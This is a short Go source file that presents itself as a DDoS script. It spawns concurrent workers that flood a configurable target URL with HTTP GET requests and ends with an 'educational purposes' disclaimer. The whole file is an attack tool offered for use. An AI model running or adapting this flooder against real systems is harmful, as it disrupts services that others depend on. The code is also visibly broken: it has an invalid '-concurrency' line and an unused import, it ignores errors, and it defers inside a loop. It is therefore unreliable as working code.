package main
import (
"fmt"
"math/rand"
"net/http"
"time"
)
func main() {
targetURL := "http://192.168.0.1" // Replace with the target URL
numRequests := 1000
-concurrency := 10
fmt.Println("DDoS Started")
ch := make(chan int)
for i := 0; i < concurrency; i++ {
go worker(targetURL, ch)
}
for i := 0; i < numRequests; i++ {
ch <- i
}
time.Sleep(100 * time.Second)
}
func worker(url string, ch chan int) {
client := &http.Client{}
for {
<-ch
req, _ := http.NewRequest("GET", url, nil)
resp, _ := client.Do(req)
defer resp.Body.Close()
}
}I'm providing(Making public) this script solely for educational purposes. Please use it responsibly and ensure that you have the necessary permissions and legal clearance before running any such Actions.